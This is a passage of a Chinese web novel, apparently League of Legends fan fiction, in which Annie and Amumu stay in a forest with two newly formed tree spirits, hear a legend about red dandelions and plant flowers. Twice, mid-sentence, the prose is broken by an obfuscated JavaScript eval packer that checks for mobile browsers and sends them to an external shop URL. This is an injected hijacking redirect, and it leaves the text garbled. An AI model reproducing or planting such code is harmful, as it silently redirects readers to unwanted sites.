安妮走了几步,却鬼使神差地停了下来。 “木木,一起去走走吗?” “啊?好。” 阿木木没想到安妮会叫他,疑惑地眨了眨眼睛,还是站起身,跟上。 一路很沉默,安妮觉得再不说点什么时间就溜走了,只能率先开口。 “你能感觉到吗?” “感觉……什么?” “‘生命本源’。” 安妮皱眉,回头看向这个已经比自己高出半个脑袋的人:“我总感觉,这个地方更适合你。” 见安妮如此懊恼,阿木木不自觉地抬手,揉了揉她的头发。 两人都愣住了。 “扑哧,你是不是很早之前就想这么干了?”安妮看着阿木木不知如何安放的手笑道,“第一次见面的时候,我看着你的脑袋,也很想摸一摸,那个时候我就在想,提伯斯的头毛茸茸的我不爱摸,为什么就想摸你的头发。” “那你想到为什么了吗?” “想到了啊。你不也想到了吗?” 安妮眨眨眼睛,没有直接回答。她觉得自己坏坏的,就像当初金克丝调侃自己的时候一样。 不过她才不会对木木毒舌。 “我还以为,时间会让我们走远呢。” 安妮抬头,叶隙里投射的阳光和当初路上的晨曦一样刺目。她那个时候含着泪水,也觉得睁不开眼。 手被轻轻握住,有点冰凉,但是手心很温暖。 就像当初,她拉着他穿梭在无妄森林一样。 “其实,生命是不需要刻意感知的,它们随时都存在。” “就像呼吸一样,一呼一吸,都是生命。” 就像你一样,不需要感知,但随时都在。 安妮在心里默默补充了一句,然后目视前方。 她大概是感知不到了,但即使寻找本源无望,似乎也没有那么着急。正如树爷爷所说,一切都还尚早。 那两个小家伙还没化形呢。 所以就当在这里度假吧。 安妮牵着阿木木,在心中劝慰着自己。她其实已经很久很久没有放松过了,基兰爷爷的守望麦田教给她的东西,她还没全部领会到呢。 “姐姐,爷爷说希望之森也有像将军草一样可以用来编蚂蚱的植物,你帮我找找呗。” “是长什么样的?” “绿色的,像藤蔓,很细很细,上面还有小毛,应该是在向阳的地方……总之你到处找找吧,会找到的。” “那我尽量……” 扒拉着草丛里细嫩的长条,安妮收回被绒毛刺得痒痒的手,叹了口气。 她自认观察力还是不错的,对小女孩描述的植物的生长习性也推测了个七八分,但是几天过去了,她植物摧残了不少,就是找不到小女孩说的咕噜草。 甚至潮湿的地方她也看了看,但除了看见更多叫不出名字的小花小草,她什么也没找到。 “要有耐心……多走走看看……” 一向急躁的小女孩竟然还教她要静下心来寻找……想到这里,安妮直起腰,继续把目光放远。 希望之森里颜色很多,但十分和谐。五颜六色的花朵和蝴蝶互相衬托,还有泥土的棕,但最多的还是绿。也因此,安妮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119507|195949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看得格外认真,就担心咕噜草会是植物里的隐藏高手。 她甚至发现了躲在大青叶子下的苔藓花,但就是没看到所谓的咕噜草。 阳光逐渐减弱,森林里的影子开始增多。安妮看得头昏脑涨,干脆甩甩头坐在了树下。 头顶还有细长的光线洒落,身边围绕着不知名的香气。安妮已经习惯那些昆虫在泥土和青草里活动的细微声音,此刻坐在树下,万籁俱寂。 微风轻拂,把汗水吹干,把全身吹凉。 森林里静悄悄的,但总有些嘈杂的声音。安妮听不清是什么。她感觉翩翩起舞的蝴蝶翅膀上,掉落的花粉越来越少了。 “簌簌……” 一片叶子慢悠悠摇晃下来,被安妮接住。 她想起金克丝当初随手一扔,把叶子当飞镖的情形。 她没抬头,也没抬眼,但不知道是头顶,还是对面的树枝上……总感觉坐着一个垂下一只腿的少女。 蝴蝶终于也慢慢不见了。安妮看着整个世界,就剩下自己一个。 当初在训练室,也只有自己一个。 关灯的时候,她哭了。 这次是太阳自己关的灯。 凯德阿姨该叫自己回去了吧……安妮伸了个懒腰,手边没有熟悉的篮子。她找了几天,连咕噜草的影子都没发现,自然也没有编织什么篮子。 再过三天就是小女孩和小男生化形的日子了,安妮本来想找到咕噜草做成各种小动物,权当庆祝的礼物的,但现在看来希望渺茫。 她又不好意思让树爷爷直接变出几颗咕噜草来…… 安妮趁着天没完全黑下来,继续到处寻找。她这几天每次都往不同的方向走,要不是有金克丝教导的做记号方法,早迷路了。 可惜每个方向都没有。她就差把每个草丛都扒拉开,看看叶子下面了。 不知不觉间,安妮已经开始沿路返回。回去的景色更加眼熟,安妮干脆时不时就扒开陌生的草丛看一看。 回到出发点,天都黑了。 “姐姐,你终于回来了!我还以为你迷路了呢。” “没有,我就是想再找一找咕噜草。” 安妮习惯了今日事今日毕,找不到咕噜草,她总感觉心里焦急。 “其实姐姐你不用这么认真的……”小男生还没说完,赶紧打住,“我的意思是,找不到可以等我们化形之后催生嘛。” “但是我想在你们化形之前找到,做出来的小动物可以当作给你们的礼物。” “那……姐姐你真好!” 小男生憋了半天,夸了一句。 “自己亲自找到的总归是不一样的嘛。” 安妮补充,没意识到小男生语气的怪异。 “姐姐,其实礼物不一定要编蚂蚱呀,你做的那个小篮子我就很喜欢,你到时候送我们两个小篮子,我们一起去找咕噜草!” “好。” 安妮只觉得小女孩还真是善解人意,担心她找不到咕噜草自责,就换了个礼物。 但这不是她放弃的理由。还有三天,她也要努力才是。 安妮在心里给自己打气,为了做好万全准备,她决定一边寻找做篮子的材料和装饰,一边寻找咕噜草。 安妮最后选择了用芭蕉树的叶子做篮子。 芭蕉树的叶子宽大,叶茎坚韧,颜色也很好看。她将摘来的叶子清洗干净,把充满绒毛的表面处理光滑,当作篮子的主体;再用找咕噜草时发现的最柔韧的藤条做架子;最后摘一些好看的花做装饰,篮子就算完成了。 做好篮子,也意味着没找到咕噜草。 安妮把最后一朵花的位置做好标记,坐下开始回忆。 篮子上的花越新鲜越好,小女孩和小男生早上六点化形,她五点出发来采摘。小女孩的篮子装饰以花为主,繁杂鲜艳,小男生的篮子以草为主,简约大气,他们应该会喜欢。 只可惜不能做好手工。 转眼间已经过去两个月了……时间过得真快。当初训练的时候,除了和阿狸姐姐逛街以外,也是这样重复着单调的生活。但好在,这里的单调并不枯燥,每天的玩耍实际上都花样百出。 但是这样单纯的生活,太…… 蹉跎岁月了。 生命多漫长啊,树爷爷在希望之森隐居了这么久,也会有时光飞逝的感觉吧。 生命的终点是什么? 生命存在的意义是什么? 这是安妮从有意识开始就思考着的问题,但没有人回答得出来。 就像凯德阿姨当初说的一样,生命本就是没有意义的,一切都是自己罢了。 围绕自己,为了自己。 这么想的话好像加丁也没有那么十恶不赦,毕竟生命都是为了自己而活…… 扑哧。 安妮失笑。 自己还是太悠闲了,才会想这么多有的没的。如果有一天她真的变得这样麻木,那复仇这些都毫无意义了吧。 菲缇,不对,应该是莫斯卡……莫斯卡曾经说过,人一旦变得无所事事,脑子里的想法就会多于行动。只有立下一个需要达到的目标,人生才会暂时变得有意义。 虽然她欺骗了自己很多,但起码这句话是正确的。 安妮把半成品的篮子放好,拍拍手,站起身,慢悠悠走回去。 她怕再回忆下去,想的就不只是过去了。 幻想前路的挫折并一个个解决是没有任何帮助的,那是守望麦田已经告诉她的东西。 40. 40 面前的两棵小树正在沉睡,树干笔直,树叶轻微晃动,在静谧幽深的森林里充满盎然的生机。 安妮呼吸都放缓了。 他们正在化形。 安妮也不知道植物化形是什么样子,但是她能感觉到磅礴的生命力。这是她第一次对“生命本源”有如此清晰的感知。 就好像是原本虚无僵硬的东西突然聚集了令人感到温暖阳光的力量,开始生长、存在。泉水涌动、清风吹拂,有什么雾气悄无声息地在其中孕育,并且同样感知着这一切。 力量也逐渐显露出来,从被迫接收到主动改变。“砰”、“砰”,像是心跳,又像是律动,即将喷薄而出的魔力弱小却强大。 树干好像变粗了,又收缩回去。树叶也张大,然后收缩回去。能量随着树木的成长膨胀,接着开始渐渐收缩…… 树叶渐渐团成一个球,遮住最里面的情形。但安妮能感觉到树叶中心的气息,从无到有的气息。 漫长的等待,不断膨胀收缩的力量…… 不知过了多久,一缕阳光从叶隙中穿透而来,终于刺开了绿色的圆球。 树叶从中间线一分为二,接着向后伸展,凝聚。翠绿的球打开,里面漂浮着一个小小的团子。 小女孩一头绿色长发,湛蓝的眸子,唇红齿白。她的眼睛大而清澈,耳朵尖尖的,个头娇小,只比提伯斯大一点,看起来像一个精致的洋娃娃。 小男生比小女孩高一点,但同样细胳膊细腿的,一头深绿短发,带着婴儿肥的脸颊微微泛红,最特别的是那双带着清澈的愚蠢的眼眸…… “姐姐!我好看吗!” 小女孩飞到安妮面前,转了个圈。 安妮才发现,原来树叶的收缩后变成了一双大翅膀,背在小女孩身后。她飞在半空中,更加像一个小精灵了。 “好看!” “我呢我呢?” 小男生不甘示弱地跟上。他的翅膀要小一些,棱角更加分明。 “也好看!” “当然啦,没我好看!” 小女孩得意地笑着,快速抢过安妮身边的小篮子。只是即使在安妮看来是小篮子,小女孩提起来也有点吃力。 “树爷爷,我们是不是可以取名字啦!” 小女孩兴奋地问。 沉寂的树爷爷也十分开心,爽朗地笑着回应:“哈哈,当然了,你想取什么名字啊?” 化形后的小精灵才算正式诞生,过去安妮一直叫他们“小妹妹”和“小弟弟”,小女孩不止一次说过想快点取名字。 但是具体要叫什么,小女孩和安妮讨论过很多次,但她的想法安妮也猜不透。 “我想叫小小妮!” 小小妮? “是我那个‘妮’吗?” 安妮迟疑地问。 “对啊,姐姐当初介绍自己的时候,说‘安妮’代表‘光明’,‘安’是和平阳光,‘妮’是开朗明亮,我就想和姐姐一样了。” 难怪自己问了好多次这小妮子都不松口,原来打的是这个主意。 “那小弟弟……” “小小木!我要和哥哥一样!” “和我?” 阿木木指了指自己,微微一笑。 “哥哥这么好看,我也要和哥哥一样好看。” 小小木实诚地说。 “扑哧……” 安妮顿时被逗笑了。阿木木倾国倾城不是一天两天了,没想到这个小胖墩还有如此伟大的理想。 小小妮也被逗笑了,不过她直接嘲讽出声:“就你?哈哈哈哈,腰都找不到,还想和木木哥哥一样帅,做你的白日梦去吧!” “我……我那是营养吸收太多了,消化了就好了!” 小小木红着脸辩解。 他的运动量没有小小妮多,也不经常走动,化形后圆润一点很正常。 至于消化后……安妮想象了一下,不得不说小小木看起来还是挺帅气的,就是跟阿木木忧郁的气质不太符合。 “‘木’在圣语里象征着什么?” 阿木木突然问道。 想来他还是希望小男生不要一时冲动取了这个字的,毕竟小小妮的象征意义挺好。 “你说的是《圣书》里的圣语吧?”树爷爷沉思了一会儿,“好像象征着‘生命’与‘希望’,总之寓意很好,你不用担心。” “那我就要叫‘小小木’!” “叫了名字也是那张脸,你还不如去找莫斯卡学易容!”小小妮说完,不等小小木反驳她,吐舌、飞走一气呵成,“安妮姐姐我们快去森林里玩吧!” “好。” 安妮微笑着回应,把另一个篮子给了小小木。 不得不说小小妮确实比小小木健壮许多,至少安妮看着,感觉小小木都要被这篮子拽下地了,小小妮反而能甩着篮子翩翩起舞。 “这里虽然植物很多,但没有咕噜草,我看过了。” 安妮见小小妮选择了一条自己熟悉的路,想阻止她继续走。 “没事,我们就走这里,姐姐你认真观察,说不定会有惊喜哦~” 小小妮神秘的语气勾起了安妮的兴趣。她微微挑眉,在心里思考自己忽略了咕噜草的可能。 正因为这里的植物种类繁多,她才格外注意,搜寻的时候也是打起了十二分的精神,丝毫不懈怠。如果是其他地方,她可能还会放松,但是这里根本不可能。 “哇,这个花是蓝色的诶,躲在叶子下面还会发光,看起来好美!” 那是金克丝曾经叫她去悬崖上采摘的花,虽然外观和生长的地方不太一样,但安妮知道它们一定有着某种关联。 “这些和咕噜草有什么关系吗?” “哎呀,姐姐你别着急呀,你不觉得这里生机勃勃,很美很舒服么?” 小小妮刚刚化形,兴奋一些罢了…… 安妮这样自我安慰,便调整了心态,决计她这么闲逛一天也不催促了。 小小木已经放飞自我,看见什么花都要拈一片花瓣收藏了。 “姐姐,快来快来!” 小小妮突然兴奋地大喊。 安妮还以为她找到咕噜草了,走近一看,是一片五颜六色的花丛——一棵草的影子都没有。 “你摸摸这个花的花柱。” 小小妮指着一朵盛放的粉红色花。 这朵花的花瓣很大,中心花柱和花药都有。 安妮伸出右手,试探性地捻了捻花柱。柱头圆圆的,有些硬,顶端的小孔还在冒粘液。安妮刚放上食指,就感觉到了轻微的跳动,似乎有什么东西在花柱里顶着她的手指。 安妮收回手,搓了搓指头,把粘液搓掉。 “怎么样?感觉到了吗?” 被小小妮澄澈的大眼睛盯着,安妮只能不好意思地摇摇头,“我只感觉有什么在跳,没有发现别的。” 难不成咕噜草还需要触发什么机关才能出现? “哎哟……我就是让你感觉这个呀。” 小小妮扶额。 “你在找咕噜草的时候,难道没有看见那些顽强生长的植物吗?还有那些隐藏在暗处的漂亮小花?你没有感觉,树木都在伸展枝叶,你拨开草丛的时候,叶子也在努力往上挺直吗?” 感知这些? 安妮愣愣地眨了眨眼睛。 “咕噜草……是不是根本不存在?” “这不是重点啊!” 小小妮仰天长啸,白眼都快翻到树冠了。但在安妮如此诚恳的询问下,她还是只能坦白。 “我说有咕噜草确实是骗你的,名字都是我临时瞎想的。我就是想让你在寻找的时候多看看身边的植物。 生命是悄无声息的,不会因为你关注其他东西就停止了生长,我想让你集中注意力观察那些被你忽视的东西……” “可是……这不是个悖论吗?我就算集中注意力,也不可能看到那些本来就会被我忽视的东西啊。” 相反,她只会因为全神贯注更加忽视了那些东西。 “唉……难道这就是你说的‘术业有专攻’吗?” “那是凯德阿姨说的。” “……” 小小妮简直要被安妮毫无情趣的死板打败了。 “你看到灵树的第一反应是什么?” “额……没有危险?” 小小妮盯着安妮不说话。 “可以攀爬。” 小小妮眼睛都不眨。 “总不能是……” “是什么?打破常规,随心思考,想到什么说什么!” 小小妮激动地提示。 “一点攻击性都没有,怎么活到现在的……” “……” “我这不是觉得这么想法不太好,所以没说吗……” “确实不太好。” 小小妮无奈地坐到树下,示意安妮也休息。虽然她并没有逛累,但是她心累。 原本以为在自己“咕噜草”的引子下,安妮会有所感触,谁知道…… 朽木不可雕也! “姐姐,咱们单独聊聊。” 小小妮调整姿势,准备长篇大论,小小木和阿木木立刻反应过来,识趣地离开。 静谧的森林里,只剩下安妮和玩偶一般大小的小小妮并排坐在一起。 “姐姐,你说你编花篮、抓兔子等等,都是小时候在森林里学的,这是真的吗?” “当然是真的啊,这个有什么可以怀疑的么?” 事实不就摆在面前?她刚做的花篮还在小小妮身边呢。 “那……你有没有忘记小时候在森林里玩的经历?” “我要是忘记了,之前的故事难道都是胡编乱造的?还有手工,我可全都记得清清楚楚。” 这么明显的事情小小妮都要问一遍,安妮没觉得不耐烦,只觉得心虚。估计是她这样木讷的反应让小小妮都不自信了。 “唉……你明明都记得,为什么就是回不去了呢?” “回不去了?” “是呀,你要是还和小时候一样,肯定能一早就得到启发了。” 好像确实是这样的……但难道要她放弃离开无妄边境后的那些刻骨铭心的记忆吗?回到童年……这本来就是不现实的。 “也许……我本来就不适合‘生命本源’吧。‘生命本源’是纯粹干净的,可是我已经……” 安妮没说下去,毕竟那些被欺骗的经历并不太美好,她不想告诉小小妮。 “才不是呢!我能感知到,姐姐你的心仍旧是纯粹干净的。希望之森不欢迎心思不纯的人,你能在这里无忧无虑地生活,说明你内心并不黑暗。” “但是我感知不到‘生命本源’。” “一定是哪里出了问题,但绝对不是姐姐你想的那样!” 小小妮紧锁眉头开始沉思。 安妮看着她稚嫩的面庞摆出如此成熟的表情,不由得叹息:“想不出来也没关系的,咱们还有时间。大不了……我慢慢试,你有什么办法全都告诉我。” “嗯,我一定会帮姐姐你感知到‘生命本源’的!” “在此之前,我还是先教你做手工吧。没有咕噜草,就需要你的将军草了。” “没问题!” 小小妮积极地应着,带安妮和小小木汇合。 他们本就是同根生,彼此有特殊的感应,化形之后就更明显了。 “首先这样,注意长度,然后这样,注意力度……” 安妮聚精会神地编织着蚱蜢,小小妮拽着将军草,瞪大了眼睛仔细看。 “好熟练。” “因为我在脑子里演练过很多遍啊。” 她本来就想着找到咕噜草做礼物,脑子里回放了很多动作,那些模糊不清的地方都被思考透了。甚至……她还想起了过去给巫阿婆做的稻草小人。 也不知道现在是谁在给巫阿婆做工具,还是说她又回到了过去孤独的生活…… “姐姐,你是在想小时候的事情吗?” 小小妮眨了眨眼睛。 人一旦开始做熟悉的事情,就会有多余的精力,手上不闲着,脑子里也不会闲着。看来她还是太悠闲了。 安妮摇了摇头。 “没什么,想到了一个很善良的老婆婆。” “看懂了吗?哪里不会就问我。” “明白明白。” 小小妮很聪明,做手工也很有灵性,不一会儿,一只草蚂蚱就做好了。 安妮回想着其他的草编动物,却感觉有些索然无味。 过去有多喜欢这些活动,现在就有多无聊,大概是不同年龄就会有不同的兴趣爱好吧。 好在她是教授,不是重复制作。 “姐姐,我感觉之前的活动都玩腻了,有没有新奇的?” 小小妮没化形之前,安妮其实带她玩了很多游戏。什么打水仗、追蝴蝶、躲猫猫……还有很多过去她自己发明的游戏。 但那些都是她小时候自己琢磨出来的。现在成天无所事事,反而没有想到任何有趣的游戏。 “没有。” 安妮忽然感觉自己好像真的变了。 “姐姐,别担心,只要用心感受,自然就不会抛弃你。” 用心感受…… “姐姐,你还记得什么游戏,都告诉我怎么样?还有,我们还可以创造一些好玩的呀,时间这么多,不着急!” “还记得什么?唔……”安妮认真沉思了一会儿,“做泥塑是我们之前就约好一起的,还有抓鱼,但是这里没有鱼……我以前还喜欢看蚂蚁搬家,啁啾雀筑巢,但是这里也没有……” “没关系,我们可以替换一下,蝴蝶和其他小虫子也很好玩的!抓不到鱼,我们就抓小小木!” “扑哧……” 无辜躺枪的小小木瞪圆了眼睛控诉,可惜被小小妮无情拒绝。 为了安妮寻找本源的大计,牺牲是必要的。 “姐姐,从明天开始,敞开了玩,不要有任何顾忌!” 小小妮雄赳赳气昂昂地开始动员、发话,飞在半空像一个即将率兵打仗的领导者。 安妮被她严肃的态度逗得忍俊不禁,但心里暖暖的。 她遇到的人全都外冷内热,除了阿狸姐姐一如既往的温柔,阿若盖特、巫阿婆和金克丝等等都将关怀藏在行动里,这样直白的关心,真的让她很感动。 “姐姐,我们一起种花吧。” 小小妮看见安妮小心翼翼地把泥塑放下,心里有了计较。 她做什么都是轻轻的,照顾植物一定也是信手拈来。 “姐姐你以前养过花花草草吗?” “养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“哈哈,爷爷老了,记性不好了。”树爷爷歉意地笑笑,用宽大的叶子摸了摸小小妮的头,“都坐下吧,休息休息。” 安妮挨着阿木木坐下,看着眼前和谐友爱的场景,悄悄叹了口气。 “红色蒲公英啊……确实不太好。不过不是它自己的错——这还要从诸神之战说起。” 又是诸神之战?没想到这场战争对世界的影响如此之大,连植物也不放过。 “传说负面情绪虽然难以消化,但带着极强的力量。伊娃和弗斯对抗即将失败之际,她选择了吸收大量负面情绪壮大自己的力量。 负面情绪的力量不是白给的,必须通过杀戮释放负面情绪,才能使用这些力量。伊娃为了获得力量,开始了最大规模的屠杀。 这场屠杀名为阿修罗战争,死亡人数极其庞大。伊娃统治的魔兽手段残忍,因此死亡的人留下的鲜血几乎染红了整片大地。 白色蒲公英经历了连续几天的血染,最后鲜红的颜色被禁锢在了绒絮内,白色蒲公英也就成为了红色蒲公英。” “那……这场战争的结果呢?” “结果?” 树爷爷大概没想到安妮会关心结果。 他沉默了一会儿,似乎在回忆。安妮也不打断,只是有些战栗。 即使相隔千年,再次听到这场战争,她也心有余悸:能将花朵染成红色,该是献祭了多少生命…… “我想起来了……你知道为什么这场战争叫做阿修罗战争吗?——因为正是这场战争创造了阿修罗族。” 阿修罗族不是天生存在的? 光明学院对于诸神之战只字不提,对阿修罗族的来历也是避讳不谈,因此大陆上的人都只当阿修罗族是莫名其妙出现的。 没想到…… 不过万物皆有来历和因果,这倒是意料之外情理之中。 “我之前说了,这场战争产生的死伤人数庞大。而为了不让死亡带来的各种负面情绪全部成为伊娃的能量,弗斯只能被迫创造时空裂缝,将这些人的亡灵全部逐出世界,连带着把那些负面情绪也封印。 但是负面情绪没有消失,亡灵们被封印后,失去□□,精神遭到负面情绪感染,最后成为了没有理智和感情的阿修罗,在时空裂缝中源源不断地产生、进入源大陆、死亡、重生…… 如今过去千年,阿修罗族有了自己的首领,但没有人知道阿修罗族的首领是谁,是好是坏。” “那不是很危险?” “确实,倘若有人利用阿修罗族发动战争,那会是一场持久的灾难。另外,伊娃陨落后不知所踪,很多人都猜测她可能是顺带躲在了弗斯创造的时空裂缝也就是黑暗领域内休养生息,因为那里是唯一的源大陆的天道都管不到的地方——弗斯当然也管不到。” “没想到红色蒲公英背后还有这么壮烈的故事!” “你为什么老是避开重点……” 最重要的不是这一次阿修罗战争带来的后果吗? 小小妮不好意思地笑了笑:“我又听不懂打仗那些弯弯绕绕的,阿修罗是什么我也不知道,当然只关心我听得懂的啦。” 很合理。 小小木难得赞同地点头。 因为他也听不懂。 “既然红色蒲公英这么……那个啥,我们还是种黄色蒲公英吧。” 小小妮很喜欢向光的东西,黄色蒲公英象征阳光开朗,她会喜欢很正常。 “木木,你呢?” 说起最爱的花,安妮很难不联想到过去的百花节。那天阿木木选择的是薄荷。 “还是薄荷吗?” 木木摇了摇头,微笑:“秘密。” 安妮眨了眨眼睛,看着手里的白色蒲公英发呆。说实话,她不想种黄色蒲公英,但自然也不可能种红色的。 她想到了另一个不算秘密的秘密。 “树爷爷,你知道紫色蒲公英吗?” “紫色蒲公英?”树爷爷的声音难得多了一些起伏,“是我记性不好了吗?为什么一点印象也没有?” “没有,是我听到的一个传说而已,您不知道很正常。” 那只是一个很偏远很偏远的传说,凯德阿姨大概也没跟多少人说过吧。 “这样啊,那我还挺好奇的,紫色蒲公英象征着什么?” “传说……找到紫色蒲公英的人,能得到真正的幸福。” 安妮越说越小声,有些不自在。 “是吗?看来紫色蒲公英不存在是有理由的,哈哈。” 树爷爷反而爽朗地笑了笑。 安妮却有些不理解:“为什么这么说?” “因为它象征的东西就不存在啊……” 树爷爷轻轻叹了口气。 “爷爷您又唉声叹气的。”小小妮娇声抱怨,“谁说真正的幸福不存在的?找不到,我们自己创造不就好了?大不了……大不了我们也染色,用紫色颜料染!” “别,”安妮赶紧阻止,“那个……其实没必要这么麻烦的。咱们还是自己种自己的吧。” “好吧……在这里什么植物没有?没有我们也能自己想办法做,姐姐你别担心!” “好。” 安妮笑着接话,暗地里松了口气。 不知道为什么,她不太想让小小妮创造出紫色蒲公英,尤其是……用颜料染。 想想就有点惨不忍睹。 41. 41 “你用这个小树枝翻土,翻两个小时也没用。” 小小木看着小小妮手上的枝条吐槽,显然好了伤疤忘了打。 小小妮果然凑过去就是一个爆栗:“要你管!” 小臂高的“玩偶”能用什么工具?小小妮的棍子还是安妮捡的。 森林里没有工具,翻土只能用树枝。安妮还可以找到大一点粗一点的,小小妮就只能拿着堪比筷子的小木棍发愁了。 “你真的不要我帮忙吗?” “不要!我自己来!” “额……其实,有没有一种可能……你可以变成树来回走两步?” 安妮曾经见识过小小妮翻土的功力,树爷爷在后面追着填土都来不及。 她只要变回原形走一走,一排坑都出来了。 “对啊!我们怎么没想到呢!” “因为你笨啊。” “小小木你找抽是不是!”小小妮拿着已经不再需要的小木棍敲打小小木,气呼呼地解释,“一定是变成这样打你太容易了,我就忘记了!” “呜呜呜暴力狂……你还好意思……” 小小木来回躲闪着,率先变成了小树,给自己挖了一排土坑。 小小妮“啪”地扔掉木棍,也变成了树。 他们吵吵闹闹地做好了第一步,安妮也靠着简陋的工具完成了挖土。蒲公英需要的坑洞不深也不大,环境要求也不高,生长得还快。安妮把种子播撒下去后,盖土浇水一气呵成。 什么多余的动作也不用。 余光瞥见小小妮去篮子里拿黄色蒲公英的种子,安妮不禁询问:“你也要种蒲公英吗?” “对!” 安妮看着将近半米深的巨大坑洞沉默了。 “你把种子埋下去,再过一年它也爬不上地面啊。” 小小木仍旧是不怕死地指出小小妮的问题,还一针见血。 虽然说的话不太好听,但确实如此。 “我这不是还没盖土么……” 小小妮悄悄把种子放回篮子,接着用之前丢掉的小木棍把土一点点扒拉回去。 安妮也不拆穿她,微笑着等她做完。 种花的任务实在算不上艰巨,安妮习惯了向金克丝的雷厉风行看齐,做什么都秉承着“快准狠”的原则,因此不过一会儿就已经完成了所有步骤。 等到小小妮和小小木满头大汗地扒完土浇完水,安妮就想离开了。但是小小妮拦住了她。 “还有什么事没做吗?” “是……也不是……” 这是什么意思? “听树爷爷说,万物有灵,如果给种子们讲故事唱歌,它们可以生长得快一点……不知道是不是真的。” 小小妮虽然是怀疑的语气,但那目光很明显。 “唉,那就讲吧。” 安妮认命地坐下。 面朝一堆土讲故事,这还是第一次。 “需要讲什么?” “别那么公事公办嘛,当然是想讲什么就讲什么呀!” 小小妮说完,率先凑到自己的种子面前,说起了悄悄话。 还不让她听见? 怪不得她挖坑的时候故意离自己远了些。 安妮无奈地笑笑,坐到自己的种子面前。阿木木的种子是离她最近的,不过声音降低一点应该也没事…… 不知道为什么,安妮不想让阿木木听见她讲的故事——尽管那个故事他早已听过。 “从前,一个穷小子爱上了一个富家少女……” 紫色蒲公英,那是多么真实而又梦幻的故事…… 安妮心里有些期盼。她还没有找到真正的幸福,但她多希望自己能亲手种出紫色蒲公英。 “姐姐,还有一天蒲公英就要发芽了!” 小小妮提着水壶哼小曲儿。 “那都是树爷爷的功劳,不然你觉得我们能种出来花么?” 小小木毫不留情地插嘴。 安妮和阿木木不能逗留太久,为了让他们的努力不白费,树爷爷用“生机”的能量帮助他们的种子进入了生长状态。只是保证成长是一回事,生长周期仍旧没变。 “那还不是需要我们努力么?姐姐那么厉害,种花还不是简简单单,有手就行?” “是是是,什么都简简单单,有手就行!” 小小木说的显然是小小妮。 两个小家伙打打闹闹,安妮和阿木木已然习惯。 “你的花多久开?” 安妮的蒲公英生长周期并不长,有树爷爷的帮助,最多三个月。但是阿木木种的是什么她并不清楚。 “唔……应该比你的久吧,不过没关系,我可以在这里等的。” 在这里等?不和她一起去亚特兰蒂斯了吗? 不过这应当也是基兰爷爷本来的安排——让阿木木留在希望之森。 毕竟她从一开始就明白,阿木木比她更了解,也更适合“生命本源”。 “呀!发芽了!” 小小妮突然惊喜地往前飞去。 安妮看见自己和小小妮的蒲公英已经发芽,心中有些惊喜。 小小的绿芽还看不出和其他植物的区别,枝干比小拇指还纤细,头顶扁扁的,像一片嫩叶。 小小妮伸着食指不停地戳,又害怕玩坏了好不容易长出来的芽儿,动作越来越轻。 “才几天就发芽了?怎么这么快啊?爷爷明明说了,我的才是最快开花的……” 小小木嘟囔着。 他也没有说自己种的什么。 “喂,你种的花不会是死掉了吧?不然为什么我的都发芽了,你的还没动静?”小小妮欠揍地问,“某人说~他种的花会比我的先开呢……” “这才六天呢,你急什么?每朵花的周期不一样,他很快就会超过你的!” 小小木不服气地坐到种子面前,盯着平静的土壤不停碎碎念,“小花你要快点……加油……我们可不能……” “嘴上说着不在意,还不是催去了。” “催也没用,小小木起码说对了一点,那就是每朵花的生长周期不一样。说不定,过几天他的种子还会赶超我们的呢。” “那……那也没事,我的小花就是最好的!” 小小妮大概也知道这一点,安慰好自己,飞到发芽的蒲公英种子面前,开始表达自己的爱意。 安妮悄悄看了几眼阿木木的土坑,那里安安静静,什么也没有。 第二天,就看见小小木的土坑上有一颗亭亭玉立的小嫩芽。 他的绿芽真的长得很高,比早一天出土的蒲公英苗还高。小小木立刻围着自己的种子得意洋洋地转悠着。 “切,还以为你选了什么花呢,搞半天是向日葵啊。” 小小妮别开眼,轻哼一声。 “你怎么知道?” “咳咳……” 安妮被小小木幼稚的问题逗笑了一瞬。 “你的瓜子壳还夹在叶子上呢。” 这正是她想说的。 小小木的种子虽然长得高,但是瓜子壳还吞着两片叶子。 “别拿下来,让它自己慢慢生长。” 安妮及时阻止了想拿下瓜子壳的小小木。 “你忘了树爷爷当初怎么教育我们的了吗?不要帮蝴蝶破茧!” 小小妮瞪着小小木教训。看得出来,虽然嘴上很嫌弃小小木的向日葵,但她其实也希望这些花能健康茁壮地成长。 小小木立刻收回手,这次竟然乖乖让小小妮挤兑。 “粗心大意的,还不是多亏了安妮姐姐。” 小小妮吐了吐舌,飞到了自己的种子面前。 安妮笑了笑,接受了小小木感激的眼神。她还是很好奇阿木木到底种了什么,可惜那土坑里仍旧没有一点绿色。不过……就算那种子出来了,估计她也不认识吧。 她熟悉的蒲公英发芽时是什么样子都不知道,更别说其他的花了。阿木木的种子总不可能也顶着瓜子壳。 “唉,还有多久呀,我的蒲公英叶子怎么这么小……” 小小妮轻点着自己的蒲公英。 旁边的向日葵叶子已经比她的巴掌大了——尽管她的巴掌没多大。 “每朵花各有特色,不能强求。” 安妮和小小妮的蒲公英的叶子细长和椭圆的居多,看起来十分不规则,叶子边缘好像伸出了许多粗的针刺。相比之下,向日葵的叶子就要圆润一些,有一片桃心形的颇得小小木喜爱。 阿木木的种子也发芽了,安妮清晰地记得,那是第十天。至于他的叶子形状……细长的椭圆形,带着锯齿——但不是薄荷。 不是薄荷……安妮很好奇,但每次问到,阿木木总是笑而不语。 不说算了,她悄悄记下来生长周期和外观,到时候悄悄问树爷爷。 “姐姐,你有没有发现一个问题?” “什么问题?” 安妮朝着小小妮的蒲公英种子看去。 “嘻嘻,你越来越关心这些植物了哦。” 原来是她自己? 